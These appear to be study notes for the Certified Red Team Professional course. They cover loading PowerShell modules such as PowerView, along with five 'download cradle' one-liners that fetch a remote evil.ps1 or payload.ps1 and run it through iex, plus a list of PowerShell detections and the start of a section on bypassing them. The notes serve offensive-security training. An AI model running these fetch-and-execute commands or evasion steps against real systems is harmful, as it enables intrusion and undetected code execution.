Certified Red Team Professional (CRTP) - Course Summary Notes

Tue, 09 Jun 2026 17:35:00 +0100

1. PowerShell Basics

Importing Modules

Load a PowerShell script using dot sourcing:

. C:\AD\Tools\PowerView.ps1

A module (or a script) can be imported with:

Import-Module C:\AD\Tools\ADModulemaster\ActiveDirectory\ActiveDirectory.psd1

All the commands in a module can be listed with:

Get-Command -Module <modulename>

PowerShell Script Execution - Download Cradles

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

$ie=New-Object -ComObject
InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.230.1/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response

# PSv3 onwards
iex (iwr 'http://192.168.230.1/evil.ps1')

$h=New-Object -ComObject
Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',$false);$h.send();iex
$h.responseText

$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/evil.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

2. PowerShell Security & Evasion

PowerShell Detections

System-wide transcription
Script Block logging
AMSI
CLM - Integrated with AppLocker and WDAC (Device Guard)

Bypassing PowerShell Security

Using Invisi-Shell:

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Certified Red Team Professional (CRTP) - Course Summary Notes

1. PowerShell Basics

Importing Modules

PowerShell Script Execution - Download Cradles

2. PowerShell Security & Evasion

PowerShell Detections

Bypassing PowerShell Security